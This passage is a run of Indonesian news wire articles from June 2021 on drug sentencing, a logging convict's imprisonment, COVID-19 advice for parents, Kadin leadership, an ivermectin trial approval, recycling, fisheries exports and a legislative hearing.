juga agar dapat menekan laju peredaran barang yang merusak anak bangsa tersebut. Tetapi dengan mudahnya terpidana narkoba dengan barang bukti dalam jumlah besar terhindar dari hukuman mati. Sangat ironis," ucap La Nyalla. Senator Jawa Timur itu menilai, dengan ringannya hukuman pengedar atau bandar narkoba kelas kakap, hal tersebut bisa menjadi preseden buruk bagi masa depan Indonesia dalam penegakan hukum terkait narkoba. "Bagi saya pribadi, ini tentu cukup mengherankan dan menimbulkan tanda tanya besar. Saya kira perlu ditelusuri keputusan hakim ini. Jangan-jangan ada mafia peradilan yang bermain," ucap-nya menduga. Indonesia sendiri, menurut La Nyalla, telah terikat dengan konvensi internasional narkotika dan psikotropika yang telah diratifikasi menjadi hukum nasional dalam Undang-undang Narkotika. Dengan kondisi tersebut, Indonesia mempunyai kewajiban untuk menjaga warganya dari ancaman jaringan peredaran gelap narkotika skala internasional, dengan menerapkan hukuman yang efektif dan maksimal. "Dalam konvensi internasional itu Indonesia telah mengakui kejahatan narkotika sebagai kejahatan luar biasa. Sehingga, penegakan hukumnya butuh perlakuan khusus, efektif dan maksimal. Salah satunya dengan penerapan hukuman berat pidana mati," tutur La Nyalla. Mantan Ketua Umum PSSI itu juga meminta masyarakat untuk ikut serta mengawasi proses hukum dalam setiap peradilan narkotika. Jika ada proses yang tidak sepantasnya terjadi, apalagi memberikan hukuman ringan kepada terpidana narkoba, menurut La Nyalla masyarakat bisa melaporkan ke pihak yang berwajib atau kepada Komisi Yudisial. "Bukan tidak percaya pada hakim, tetapi sudah sewajarnya Komisi Yudisial juga terus melakukan pengawasan intensif terhadap hakim-hakim, ini kan tugas pokoknya, tugas rutin," ujarnya. Apalagi menurut La Nyalla keputusan Pengadilan Tinggi Bandung membebaskan terpidana narkoba yang menyelundupkan 402 kilogram sabu-sabu dari hukuman mati jadi sorotan dan banyak dipertanyakan. (mth)

Adelin Lis Jalani Eksekusi Pidana 10 Tahun di Lapas Gunung Sindur

Jakarta, FNN - Jaksa Agung Muda Tindak Pidana Khusus Kejaksaan Agung (JAMPidsus Kejagung) memindahkan terpidana kasus pembalakan liar Adelin Lis dari Rutan Salemba cabang Kejagung ke Lembaga Pemasyarakatan Khusus Kelas II A Gunung Sindur, Kabupaten Bogor, Jawa Barat, Senin. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak mengatakan pemindahan Adelin Lis ke Lapas Gunung Sindur mendapat pengamanan maksimal (maximum security), mengingat terpidana merupakan buronan dengan risiko tinggi yang pernah melarikan diri dari Rutan sebanyak 2 (dua) kali yakni pada tahun 2006 dan pada tahun 2008. "Jaksa Eksekutor segera membawa terpidana Adelin Lis ke Lapas Khusus Kelas II A Gunung Sindur Kabupaten Bogor guna menjalani hukuman badan berupa pidana penjara selama 10 tahun," kata Leonard dalam keterangan tertulis-nya. Berdasarkan putusan kasasi yang diajukan Jaksa Penuntut Umum, Adelin Lis diputus bersalah pada tanggal 31 Juli 2008 dan dihukum dengan pidana antara lain, pidana penjara selama 10 tahun, denda Rp1 miliar subsider enam bulan kurungan, uang pengganti Rp119,8 miliar, dan 2.938.556,24 dolar AS. "Jika dalam waktu satu bulan uang tidak dibayar dikenai hukuman lima tahun penjara," ucap Leonard. Adelin Lis berhasil dipulangkan dari Singapura ke Jakarta pada Sabtu (19/6), setelah menjadi buronan selama 10 tahun lebih. Adelin Lis merupakan terpidana tindak pidana korupsi dan tindak pidana kehutanan sebagaimana diatur dalam Undang-Undang RI Nomor 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan Undang-Undang RI Nomor 21 Tahun 2001 tentang Tindak Pidana Korupsi serta Undang-Undang RI Nomor 41 Tahun 1999 yang telah diubah dengan Undang-Undang RI Nomor 19 Tahun 2004 tentang Kehutanan. Pengusaha asal Sumatera Utara ini dipindahkan ke Lapas Gunung Sindur setelah dinilai cukup dalam menjalani masa karantina kesehatan dan menjalani pemeriksaan kesehatan maupun swab antigen dan PCR ("Polymerase Chain Reaction") setelah proses pemulangannya ke Tanah Air. Selama menjalani karantina kesehatan di Rumah Rutan Salemba Cabang Kejaksaan Agung, terpidana Adelin Lis menempati ruang sel isolasi seorang sendiri dengan pengawasan kesehatan maksimal, dimana sejak pulang dari Singapura Sabtu (19/6) lalu, telah dilakukan pemeriksaan kesehatan dan tes cepat anti-COVID-19 sebanyak empat kali. Setelah berhasil mengamankan Adelin Lis, Jaksa Eksekutor Kejaksaan Negeri Medan telah bergerak melakukan penelusuran harta benda ("asset tracing") milik terpidana di Kota Medan. Hari ini Tim penelusuran asset Kejari Medan berkoordinasi dengan pemangku kepentingan dan unsur terkait lainnya untuk menemukan aset-aset milik Adelin Lis. Leonard menjelaskan, penelusuran aset (asset tracing) dilakukan untuk mengetahui keberadaan dan jenis aset yang disembunyikan oleh terpidana yang akan digunakan untuk penggantian kerugian negara. "Dideteksi ada tiga aset harta berupa tanah dan bangunan yang berstatus Hak Guna Usaha (HGU) / Sertifikan Hak Milik (SHM) yang tercatat atas nama Adelin Lis di Kota Medan," tutur-nya. Terhadap barang bukti milik terpidana Adelin Lis yang sita pada tahap penyidikan, pada tahun 2007 dan 2009 telah dilakukan lelang, yakni tanggal 05 Maret 2007 oleh Penyidik Dari Polda Sumut. Nilai aset yang telah dilelang dan disetor ke Kas Negara sebesar Rp 1,4 miliar. Berikutnya lelang aset tanggal 30 Oktober 2009 oleh Kejaksaan Negeri Medan. Nilai asset yang telah dilelang dan disetor ke Kas Negara sekitar Rp 1 miliar. Sehingga total nilai asset milik Adelin Lis yang telah dilelang dan disetor ke Kas Negara adalah Rp25 miliar. "Tim Jaksa Eksekutor pada Kejaksaan Negeri Medan terus bergerak melaksanakan pencarian / penelusuran aset-aset milik Adelin Lis," kata Leonard. (mth)

Kasus COVID-19 Anak Tinggi, Ini Tips untuk Orang Tua

Jakarta, FNN - Berdasarkan data Ikatan Dokter Anak Indonesia (IDAI) kasus positif COVID-19 pada anak usia 0-18 tahun di Indonesia mencapai 12,5 persen, dan menjadi salah satu yang tertinggi di dunia. Dari angka itu, sekitar 3-5 persen anak yang positif COVID-19 meninggal dunia, dan 50 persen di antaranya adalah balita. Data-data tersebut tentunya membuat para orang tua menjadi khawatir atas keselamatan sang buah hati, ditambah lagi bahwa mereka yang berusia di bawah 18 tahun belum bisa mendapatkan vaksin COVID-19. Pada Mei 2021, Organisasi Kesehatan Dunia (WHO) mengumumkan bahwa varian delta atau B1.617.2 yang pertama kali ditemukan di India sebagai varian of concern (VOC) dari sebelumnya hanya berstatus varian of interest (VOI). Artinya, varian tersebut termasuk jenis virus corona yang mengkhawatirkan karena lebih mudah menular. Berdasarkan gejala yang diamati pada pasien di India, varian ini menyebabkan gejala ringan hingga berat, mulai dari mual hingga pembekuan darah. Ketua Umum PB Ikatan Dokter Indonesia (IDI), Daeng M Faqih, mengatakan bahwa potensi bahaya dari virus corona jenis delta ini sangat tinggi. Ia juga menyebut jika jenis ini justru banyak menyerang anak-anak muda. Bahkan, serangan yang terjadi dapat langsung menimbulkan dampak dengan gejala berat, di mana saat alami gejala berat, tingkat kesembuhannya pun menjadi lebih kecil. Chief of Medical Halodoc, dr. Irwan Heriyanto, dalam pernyataan pers, Senin, mengatakan salah satu bentuk perlindungan yang terampuh saat ini adalah dengan melindungi orang dewasa di lingkungan anak-anak dengan vaksinasi COVID-19. Saat ini, Pemerintah DKI Jakarta juga telah memperbolehkan semua masyarakat yang berdomisili maupun bekerja di Jakarta untuk mendapatkan vaksin. Sebagai platform layanan kesehatan, Halodoc juga terus berupaya untuk membantu pemerintah untuk mempercepat vaksinasi, di antaranya dengan memperluas layanan vaksinasi yang dapat diakses melalui aplikasi Halodoc. "Kami juga terus menggalakkan edukasi secara intensif terkait dengan COVID-19 pada anak, mulai dari gejala secara medis, tips pencegahan, hingga penanganan pertamanya," katanya. Berikut beberapa cara yang dapat ditempuh orangtua untuk memberikan perlindungan tambahan bagi anak-anak di rumah: 1. Batasi anak untuk melakukan aktivitas di luar rumah dan menghindari kerumunan di ruang publik. 2. Jika terpaksa membawa anak keluar rumah, anak 2-18 tahun wajib menggunakan masker dan menerapkan jarak fisik 2 meter dengan orang-orang lainnya. Jika memungkinkan, kenakan face shield sebagai bentuk perlindungan maksimal. 3. Berikan pengertian kepada anak untuk tidak terlalu sering memegang mulut, mata, dan hidung. Jika baru pulang dari luar rumah, segera mandi dan bersihkan barang-barang. 4. Jauhkan anggota keluarga yang sakit dari anak, bila perlu lakukan isolasi pada anak untuk menjauhkan diri dari kerabat yang sedang sakit tersebut dan menghindari risiko paparan penyakit. 5. Manfaatkan telehealth untuk mendapatkan solusi apabila ada keluhan mengenai anak karena datang ke rumah sakit juga cukup berisiko. Orangtua bisa berkonsultasi dengan dokter secara daring dan memberikan penanganan pertama bagi buah hati. Di Halodoc sendiri, ratusan dokter spesialis anak dalam ekosistem Halodoc selalu siap memberikan layanan konsultasi yang dapat diakses kapanpun dan dari manapun. 6. Selain menjaga kesehatan fisik, kesehatan mental anak juga harus dijaga. "Saat ini, para orangtua juga dituntut untuk dapat mengenali tanda ketika sang anak mengalami tekanan emosional karena pandemi," kata dokter Irwan. Berikut tujuh tanda-tanda stres pada anak yang patut dikenali orangtua di tengah pandemi: 1. Rewel dan lekas marah, lebih mudah terkejut dan menangis, dan lebih sulit untuk dihibur 2. Tertidur dan lebih sering terbangun di malam hari 3. Kecemasan perpisahan, tampak lebih melekat, menarik diri, atau ragu-ragu untuk mengeksplorasi 4. Memukul, frustrasi, menggigit, dan amukan yang lebih sering atau intens 5. Hilangnya minat pada aktivitas yang sebelumnya dinikmati 6. Perubahan nafsu makan, berat badan atau pola makan, seperti tidak pernah lapar atau makan sepanjang waktu 7. Mengalami masalah dengan memori, pemikiran, atau konsentrasi. (mth)

Rosan: Arsjad Rasjid Jadi Ketua Umum Kadin Indonesia

Jakarta, FNN - Ketua Umum Kamar Dagang dan Industri (Kadin) Rosan Roeslani menyampaikan telah ada kesepakatan bahwa Arsjad Rasjid yang akan menjadi Ketua Umum Kadin selanjutnya menggantikan dirinya, sedangkan Anindya Bakrie menjadi Ketua Dewan Pertimbangan (Wantim) Kadin. "Sudah ada kesepakatan, musyawarah untuk mufakat, yang telah kami sampaikan ke Bapak Presiden, keduanya setuju untuk dua-duanya menjadi ketua, tapi bedanya yang satu Ketua Dewan Pertimbangan Anindya Bakrie, yang satu jadi Ketua Umum Kadin Indonesia Arsjad, tentunya ini akan dibawa ke munas," kata Rosan usai bertemu dengan Presiden Jokowi di Kompleks Istana Kepresidenan, Jakarta, Senin. Sebelumnya, pengusaha Anindya Bakrie, putra dari Aburizal Bakrie, mencalonkan diri menjadi Ketua Umum Kadin dan bersaing dengan Arsjad Rasjid, yang merupakan Presiden Direktur PT Indika Energy Tbk. Rosan mengatakan dirinya sangat mengapresiasi langkah yang diambil Anindya Bakrie. Menurutnya, kesepakatan ini diambil Anindya dan Arsjad, sebagai solusi terbaik di tengah dinamika pemilihan Ketua Umum Kadin yang begitu sengit dalam beberapa waktu terakhir. Langkah musyawarah mufakat antara kedua pihak juga, kata Rosan, merupakan upaya untuk membuat kondisi bangsa menjadi lebih kondusif. "Kami dari Kadin, tentunya mencoba mencari solusi yang terbaik, dinamika pemilihan ketum ini tinggi, tapi selalu kondusif, kami selalu bertemu bertiga, cari yang terbaik untuk Kadin, bagaimana ke depannya bersinergi dengan pemerintah," ujarnya. Rosan mengatakan kesepakatan antara Anindya dan Arsjad ini telah disampaikan ke Presiden Jokowi secara tertulis. Presiden Jokowi disebut Rosan sangat mengapresiasi keputusan yang telah diambil. "Presiden apresiasi, dunia usaha ini selalu mencari solusi yang terbaik, tidak saling mau menang sendiri, dan tentunya saya dalam kesempatan ini sangat, sangat, sangat mengapresiasi Anindya Bakrie. Beliau 15 tahun sebagai wakil ketua umum, dan sangat memahami dinamika ini, dan beliau majunya sebagai ketua dewan pertimbangan," ujarnya. Anindya dan Arsjad akan disahkan masing-masing menjadi Ketua Dewan Pertimbangan dan Ketua Umum Kadin pada Musyawarah Nasional Kadin pada 30 Juni-1 Juli 2021 di Kendari, Sulawesi Tenggara. (mth)

BPOM Setujui Uji Klinik Ivermectin untuk Pengobatan Pasien COVID-19

Jakarta, FNN - Badan Pengawas Obat dan Makanan (BPOM) menyetujui pelaksanaan uji klinik guna mengetahui efektivitas dan keamanan penggunaan Ivermectin untuk pengobatan pasien COVID-19 di Indonesia. "Tentunya dengan penyerahan persetujuan pelaksanaan uji klinik (PPUK) ini uji klinik terhadap obat Ivermectin sebagai obat COVID-19 bisa segera dilakukan," kata Kepala BPOM Penny K Lukito saat menyampaikan keterangan pers secara virtual di Jakarta, Senin siang. Penny menjelaskan bahwa persetujuan pelaksanaan uji klinik Ivermectin diberikan berdasarkan sejumlah pertimbangan, termasuk kondisi persebaran penyakit, publikasi global mengenai penggunaan Ivermectin, dan panduan Organisasi Kesehatan Dunia mengenai pengobatan pasien COVID-19. Uji klinik penggunaan Ivermectin dalam penanganan pasien COVID-19 rencananya dilakukan di delapan rumah sakit, yakni Rumah Sakit Persahabatan (Jakarta), Rumah Sakit Penyakit Infeksi Prof. Dr. Sulianti Saroso (Jakarta), Rumah Sakit Soedarso (Pontianak), Rumah Sakit Adam Malik (Medan), RSPAD Gatot Subroto (Jakarta), Rumah Sakit Angkatan Udara Dr. Esnawan Antariksa (Jakarta), Rumah Sakit Suyoto (Jakarta), dan Rumah Sakit Darurat Penanganan COVID-19 Wisma Atlet (Jakarta). "Apabila masyarakat membutuhkan obat ini dan tidak dapat ikut dalam uji klinik dokter, juga dapat memberikan obat ini dengan memperhatikan penggunaan sesuai dengan protokol uji klinik yang disetujui," kata Penny. BPOM sebelumnya menyatakan bahwa Ivermectin belum bisa disetujui digunakan dalam pengobatan pasien COVID-19 karena data uji klinik mengenai penggunaannya untuk mengobati infeksi virus corona belum tersedia. "Data uji klinik masih harus terus kita kumpulkan di mana pada saat ini belum konklusif untuk menunjang Ivermectin untuk COVID-19," kata Penny. Penny mengimbau warga tidak membeli Ivermectin secara bebas, termasuk membelinya melalui platform perniagaan via daring, tanpa lebih dulu berkonsultasi dengan dokter. Menurut BPOM, Ivermectin kaplet 12 mg terdaftar di Indonesia untuk indikasi infeksi kecacingan. Obat itu diberikan dalam dosis tunggal 150-200 mcg/kg berat badan dengan pemakaian satu tahun sekali. Ivermectin tergolong obat keras yang pembeliannya harus dilakukan dengan resep dokter dan penggunaannya harus di bawah pengawasan dokter. Penggunaan Ivermectin tanpa indikasi medis dan tanpa resep dokter dalam jangka panjang dapat mengakibatkan efek samping seperti nyeri otot/sendi, ruam kulit, demam, pusing, sembelit, diare, mengantuk, dan Sindrom Stevens-Johnson. (sws)

Kemenperin: Industri Daur Ulang Kelola Dua Juta Ton Limbah Plastik

Jakarta, FNN - Industri daur ulang dalam negeri yang jumlahnya sekitar 1.000 perusahaan dengan nilai investasi Rp5,15 triliun saat ini mampu mengelola 2 juta ton limbah plastik dari 6,8 juta ton sampah plastik yang dicatat Kementerian Lingkungan Hidup dan Kehutanan yang ada di Indonesia. "Jadi yang baru terkelola dengan baik sekitar dua juta ton, sisanya sebanyak empat juta ton ini tentunya membutuhkan investasi untuk dapat dikelola," kata Kepala Pusat Industri Hijau Badan Standardisasi dan Kebijakan Jasa Industri Kementerian Perindustrian R Hendro Martono saat Pelatihan Jurnalis Greenaration Foundation secara virtual di Jakarta, Senin. Investasi tersebut juga dibutuhkan untuk mengurangi sampah plastik yang masuk ke dalam laut. Dia mengatakan, industri daur ulang di Indonesia masih memiliki peluang besar yang mampu menyerap tenaga kerja hingga 3,3 juta orang. Menurut dia, selain daur ulang plastik, terdapat beberapa komoditi lain yang potensial untuk dikembangkan di dalam negeri, di antaranya daur ulang kertas, tekstil, hingga besi baja. Namun demikian, lanjutnya, dalam mengembangkan pengelolaan sampah dan menerapkan ekonomi sirkular, terdapat berbagai tantangan yang dihadapi. "Pertama adalah kesadaran konsumen untuk bijak menggunakan barang konsumsi dan bijak dalam membuang sampah atau limbah dari produk bekas pakai," ujar Hendro. Kedua yakni pemilahan, pengumpulan, serta pengangkutan sampah yang dapat didaur ulang, di mana seharusnya dibuat sistem terpadu yang harus dilaksanakan secara menyeluruh, sehingga sampah atau limbah laik untuk didaur ulang dan aman bagi lingkungan. Berikutnya adalah, perizinan pemanfaatan limbah Bahan Beracun dan Berbahaya (B3) yang memiliki potensi dimanfaatkan sebagai subtitusi material atau energi. "Dalam hal ini, proses perizinan agar dapat dilakukan lebih cepat dan diberikan kemudahan sehingga dapat mengurangi penumpukan atau penimbunan B3 terlalu lama," ujarnya. Selanjutnya yakni sektor informal yang perlu ditata dengan sistem pengumpulan yang lebih baik dan diberikan edukasi agar pemilahan dan pengumpulan sampah dilakukan secara aman bagi pelaku dan lingkungan. Tantangan selanjutnya, ketersediaan sampah atau limbah sebagai bahan baku yang laik daur ulang belum memenuhi kebutuhan industri daur ulang. "Sehingga masih dibutuhkan importasi untuk bahan baku non B3 dalam bentuk scrap," katanya. Terakhir yakni belum tersedianya kelengkapan dan akurasi data limbah, seperti jumlah dan lokasi yang terekam secara menyeluruh, serta masih bersifat parsial atau sektoral. Dalam hal tersebut, Kemenperin melakukan beberapa kegiatan dalam mendukung pengelolaan sampah dan ekonomi sirkular seperti pada perusahaan industri atau kawasan industri, serta membantu pengelolaan sampah domestik. Di antaranya adalah mendorong industri hulu untuk memproduksi bahan polimer plastik yang mudah terurai dan dapat didaur ulang. Kemudian, mendorong pertumbuhan industri daur ulang dan produk daur ulang, bimbingan teknis sampah plastik sebagai bahan baku daur ulang, penyediaan mesin pendaur ulang sampah yg saat ini sudah dilakukan di enam lokasi. Selanjutnya, pengembangan sampah "waste to energy", pedoman pengelolaan sampah kemasan, limbah elektronik dan daur ulang plastik sektor industri, penyusunan skema pengelolaan di sektor industri, serta penyusunan kajian dan Standar Nasional Indonesia (SNI) untuk eco-packaging, eco-industry, dan penyusunan peta jalan ekonomi sirkular pada industri. "Untuk mempercepat pengelolaan sampah dalam pengembangan industri hijau, maka dibutuhkan insentif agar banyak industri yang terdorong untuk berpartisipasi. Saat ini kemenperin sedang menyusun mekanisme fasilitasi insentif untuk industri hijau," ujarnya. (mth)

BNN Berikan Penghargaan ke Gubernur Babel Aktif Berantas Narkoba

Pangkalpinang, FNN - Badan Narkotika Nasional (BNN) memberikan apresiasi dan penghargaan kepada Gubernur Kepulauan Bangka Belitung Erzaldi Rosman Djohan yang berperan aktif mendukung pemberantasan peredaran narkoba di negeri serumpun sebalai itu. "Kita bersama seluruh lembaga bergerak bersama menghadapi dan menumpas peredaran narkotika ini," kata Wakil Gubernur Kepulauan Babel Abdul Fatah saat mengikuti Peringatan Hari Anti Narkotika Internasional (HANI) 2021 secara virtual yang dibuka Wakil Presiden Republik Indonesia KH Ma'ruf Amin di Pangkalpinang, Senin. Pada peringatan HANI tahun ini, BNN memberikan penghargaan kepada Gubernur Kepulauan Babel yang diwakili Wakil Gubernur Kepulauan Babel yang telah berperan aktif dalam mengimplementasi Instruksi Presiden Nomor 6 Tahun 2018 dan Instruksi Presiden Nomor 2 Tahun 2020. "Kita harus waspada, kejar dan tangkap mengedar narkoba ini, untuk menyelamatkan generasi penerus bangsa ini dari bahaya barang haram ini," kata Abdul Fatah. Wakil Presiden Republik Indonesia KH Ma'ruf Amin mengapresiasinya kepada BNN yang selalu mengingatkan akan bahaya penyalahgunaan narkotika bagi bangsa dan negara. Di mana hingga saat ini dunia masih menghadapi dua hal besar, selain kesehatan pandemi Covid-19 dan narkotika yang melanda semua lini kehidupan. "Saya mengapresiasi BNN yang secara rutin setiap tahunnya memperingati Hari Anti Narkoba Nasional sebagai momentum untuk mengingatkan kita semua tentang betapa bahayanya ancaman narkotika bagi kehidupan berbangsa dan bernegara," ujar Wapres. Dalam laporan terbaru UNODC yang dirilis pada tanggal 24 Juni 2021, sekitar 275 juta orang di seluruh dunia menggunakan narkoba pada tahun 2020. Antara tahun 2019-2020 jumlah orang yang menggunakan narkoba meningkat hingga 22 persen. Sementara itu, berdasarkan hasil survey penyalahgunaan narkoba BNN bersama LIPI menunjukkan angka prevalensi penyalahgunaan narkoba di Indonesia mencapai 1,8% atau sekitar 3,4 juta jiwa. Sehingga dapat dikatakan bahwa dalam setiap 10 ribu penduduk ada 180 pengguna di Indonesia dengan rentang usia 15-64 tahun. Permasalahan yang masih dihadapi oleh Indonesia adalah banyaknya sindikat yang beroperasi dengan menyelundupkan melalui jalur laut. Peredaran narkoba jenis baru seperti tembakau gorila disalahgunakan oleh usia produktif yang sudah merambah hingga ke desa-desa yang melibatkan perempuan dan anak-anak. "Tindakan yang tegas, keras, dan terukur melalui upaya penegakan sangat diperlukan," pesan wapres. (mth)

Polrestro Jaksel Bantah Terbitkan Surat Pemeriksaan Nikita Mirzani

Jakarta, FNN - Polres Metro Jakarta Selatan membantah menerbitkan surat pemeriksaan terhadap artis Nikita Mirzani sekaligus penetapan tersangka atas kasus dugaan pencemaran nama baik melalui media elektronik. "Saya sendiri mencermati itu belum teregister secara resmi. Jadi, saya juga tidak memastikan surat itu," kata Kepala Satuan Reserse Kriminal Polres Metro Jakarta Selatan Komisaris Polisi Achmad Akbar di Jakarta, Senin. Ia juga sudah melakukan pemeriksaan penerbitan surat di Polres Jakarta Selatan dan dipastikan tidak menerbitkan surat tersebut. "Saya sudah 'cross check' di dalam internal kami juga belum ada," imbuhnya. Sebelumnya, beredar foto surat pemanggilan kepada Nikita Mirzani untuk didengar keterangan pada Senin (21/6) di Polres Metro Jakarta Selatan pukul 14.00 WIB. Dalam surat tersebut juga disebutkan bahwa Nikita Mirzani sebagai tersangka atas kasus pencemaran nama baik melalui media elektronik, Dalam surat itu ditandatangani oleh Kepala Satuan Reserse Kriminal Polres Jakarta Selatan yang lama yakni Ajun Komisaris Besar Polisi Jimmy Christian Samma yang kini sudah dimutasi menjadi Kepala Polres Tapanuli Tengah. Namun, dalam foto surat tersebut belum memiliki nomor surat yang lazim sebagai bukti register. Sementara itu, terkait kasus yang menyeret artis tersebut, Achmad menyebutkan kasus itu masih didalami penyidik dan belum ada gelar perkara penetapan tersangka. Kasus dugaan pencemaran nama baik melalui media elektronik dilaporkan Indra Tarigan pada Maret 2019 di Polda Metro Jaya dan dilimpahkan ke Polres Metro Jakarta Selatan. "Kami tegaskan proses kami masih berjalan dan belum ada tahapan penetapan tersangka," ucapnya. (mth)

FPPPI: Revisi UU ASN Upaya Politik-Hukum Ketidakpastian Status Pegawai

Jakarta, FNN - Ketua Umum Federasi Pekerja Pelayanan Publik Indonesia (FPPPI) Alfonsius Mathley menilai revisi UU nomor 5 tahun 2014 tentang Aparatur Sipil Negara (ASN) merupakan upaya politik-hukum untuk menyelesaikan tidak adanya kepastian hukum dan status kepegawaian pekerja publik akibat belum diatur dalam UU. "Kepastian hukum dalam status kepegawaian itu diperlukan bagi pegawai pelayanan publik sebagai aparatur sipil negara yang telah bekerja terus menerus terutama bagi mereka yang menerima SK sebelum 15 Januari 2014 dengan status pekerja tenaga honorer, pegawai tidak tetap, pegawai tetap non-PNS, dan tenaga kontrak," kata Alfonsius dalam Rapat Dengar Pendapat Umum (RDPU) Panitia Kerja (Panja) Rancangan Undang-Undang ASN, di Jakarta, Senin. Dia menyampaikan enam rekomendasi kepada Panja revisi UU ASN Komisi II DPR RI, pertama, FPPPI mendukung penuh disahkan-nya revisi UU ASN menjadi UU. Menurut dia, disahkan-nya RUU tersebut sangat penting untuk sebagai dasar hukum pengangkatan pegawai pemerintah non-PNS di semua bidang yang berkategori 4 nomenklatur yaitu honorer, kontrak, pegawai tidak tetap, pegawai tetap non-PNS yang diatur dalam Pasal 131a RUU ASN. Rekomendasi kedua, menurut dia, pengangkatan apabila dilakukan bertahap sesuai dengan kondisi keuangan negara dengan diprioritaskan pada mereka yang memiliki masa kerja paling lama dan bekerja di bidang administrasi pelayanan publik dan mendekati masa pensiun. "Mengingat tenaga honorer pegawai tidak tetap, pegawai tetap non-PNS, atau pegawai kontrak yang menunggu pengangkatan sebagai PNS wajib mendapatkan gaji sekurang-kurangnya sesuai Upah Minimum Provinsi atau Upah Minimum Kabupaten/Kota," ujarnya. Dia menjelaskan, rekomendasi ketiga, agar revisi UU ASN tersebut memberikan peluang seluas-luasnya bagi pekerja pelayanan publik dari jenjang Sekolah Dasar. Hal itu menurut dia dilatarbelakangi karena pekerja pelayanan publik dengan ijazah SD dan SMP sepanjang hidupnya telah mengabdikan diri pada negara di wilayah pedalaman, terpencil, tertinggal, hingga di perbatasan negara seperti di wilayah Papua, Nusa Tenggara Timur (NTT), Kalimantan, dan Aceh. "Keempat, mengingat prinsip kesetaraan dalam pengangkatan pekerja pelayanan publik perlu dilakukan kolektif, tidak politis, dan tidak terkait dengan kepentingan golongan atau pribadi. Maka diharapkan pekerja pelayanan publik dapat diproses dan diangkat menjadi PNS," tutur-nya. Alfonsius mengatakan, rekomendasi kelima, meminta DPR dan pemerintah memprioritaskan database yang dimiliki FPPPI untuk diakomodasi karena anggotanya telah memperjuangkan revisi UU ASN sejak lama. Dia menjelaskan, rekomendasi keenam, FPPPI mendukung penuh dan mendorong agar Komisi II DPR RI segera menyelesaikan revisi UU ASN. RDPU Panja revisi UU ASN tersebut dipimpin Wakil Ketua Komisi II DPR RI Syamsurizal dan dihadiri antara lain Ketua Ombudsman RI Moh. Najih, Ketua Federasi Pekerja Pelayanan Publik Indonesia (FPPPI) Alfonsius Mathley, dan perwakilan Guru dan Tenaga Kependidikan Honorer Nonkategori usia 35 tahun ke atas. (mth).

KKP Yakini Peningkatan Ekspor Ungkit Kinerja Ekonomi Masa Pandemi

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) meyakini dengan tercatatnya peningkatan ekspor kelautan dan perikanan seiring naiknya permintaan global juga akan mengungkit kinerja perekonomian nasional masa pandemi. "Sektor kelautan dan perikanan mencatatkan kinerja positif selama lima bulan awal 2021," kata Dirjen Penguatan Daya Saing Produk Kelautan dan Perikanan, Artati Widiarti di Jakarta, Senin. Bahkan, lanjutnya, neraca perdagangan sektor ini surplus 1,9 miliar dolar AS atau setara dengan Rp27 triliun, atau naik 3,72 persen dibanding periode yang sama tahun sebelumnya. Secara kumulatif, nilai ekspor produk perikanan pada Januari–Mei, mencapai 2,1 miliar dolar. Angka ini naik 4,94 persen dibanding periode yang sama tahun 2020. "Ini suatu hal yang patut kita syukuri dan membuat kita semakin yakin bahwa sektor kelautan dan perikanan bisa menjadi pengungkit ekonomi di masa pandemi," kata Artati Widiarti. Artati mengungkapkan jajarannya berperan aktif dalam peningkatan ekspor antara lain melakukan komunikasi dengan Perwakilan RI di berbagai negara guna memfasilitasi kebutuhan para eksportir. Selain itu, ujar dia, pihaknya juga memastikan hambatan dan permasalahan ekspor dapat diminimalisir dengan antisipasi dan komunikasi lintas otoritas kompeten terutama di pasar Tiongkok dan Amerika Serikat. Tingginya nilai ekspor berasal dari komoditas utama meliputi udang yang menyumbang sebesar 865,9 juta dolar AS atau 41 persen terhadap total nilai ekspor total, kemudian tuna–cakalang–tongkol (269,5 juta dolar atau 12,7 persen total nilai ekspor), dan cumi–sotong–gurita (223,6 juta dolar atau 10,6 persen total nilai ekspor. Adapun negara tujuan ekspor utama adalah Amerika Serikat (AS) sebesar 934,1 juta dolar atau 44,2 persen terhadap total nilai ekspor total disusul Tiongkok sebesar 311,2 juta dolar (14,7 persen), dan negara-negara ASEAN sebesar 230,7 juta dolar (10,9 persen). "Peningkatan nilai ekspor Indonesia didorong adanya peningkatan permintaan di beberapa negara tujuan ekspor utama, terutama di pasar AS," urai Artati. Sebelumnya, Menteri Kelautan dan Perikanan juga menyatakan optimistis bahwa dengan dorongan penuh terhadap program peningkatan ekspor udang nasional akan bisa membuat Indonesia menguasai pasar udang global. Menurut dia, udang merupakan komoditas perikanan yang paling banyak diminati pasar global. Dalam kurun waktu 2015-2019 udang merupakan permintaan pasar nomor dua setelah salmon. Selain itu, ujar dia, Indonesia sendiri selama kurun waktu tahun 2015-2020 berkontribusi terhadap pemenuhan pasar udang dunia rata-rata sebesar 6,9 persen per tahun. Untuk mendukung hal tersebut bisa tercapai, Menteri Trenggono memaparkan beberapa program yang telah disiapkan oleh KKP untuk meningkatkan produksi dan ekspor udang nasional, antara lain revitalisasi tambak dengan membangun infrastruktur atau sarana dan prasarana sebagai percontohan kawasan udang bagi masyarakat, dan penyederhanaan perizinan usaha tambak udang. Ia menambahkan, ada pula pembangunan Model Shrimp Estate untuk budidaya udang dari hulu ke hilir. Shrimp Estate sendiri merupakan budidaya udang berskala memadai yang proses budidayanya dalam satu kawasan dengan proses produksi berteknologi agar hasil panen optimal, mencegah penyakit, serta lebih ramah lingkungan agar prinsip budidaya berkelanjutan tetap terjaga. (mth)

Wapres: Tol Langit Percepat Pemerataan Pembangunan Nasional

Jakarta, FNN - Wakil Presiden (Wapres) Ma’ruf Amin mengatakan infrastruktur tol langit dapat mempercepat pemerataan pembangunan nasional dengan menghubungkan seluruh wilayah di Indonesia. Menurut Wapres Ma’ruf Amin, saat menyampaikan pidatonya pada acara Raja Ampat E-Festival 2021 “Voyage to Digital Community”, yang diikuti secara daring, dari kediaman resmi wapres, di Jakarta, Senin, Program Tol Langit merupakan sebuah konsep akselerasi pertumbuhan dan pemerataan pembangunan ketersediaan infrastruktur jaringan telekomunikasi dan informasi, untuk menghubungkan seluruh wilayah Indonesia. Pemerintah telah menyiapkan Peta Jalan Indonesia Digital 2021-2024, termasuk infrastruktur tol langit, guna menghubungkan seluruh wilayah Indonesia yang memiliki kontur geografis beragam, kata Wapres. Dengan adanya infrastruktur tol langit yang turut menjangkau wilayah timur Indonesia tersebut, Wapres berharap percepatan pembangunan di Provinsi Papua dan Provinsi Papua 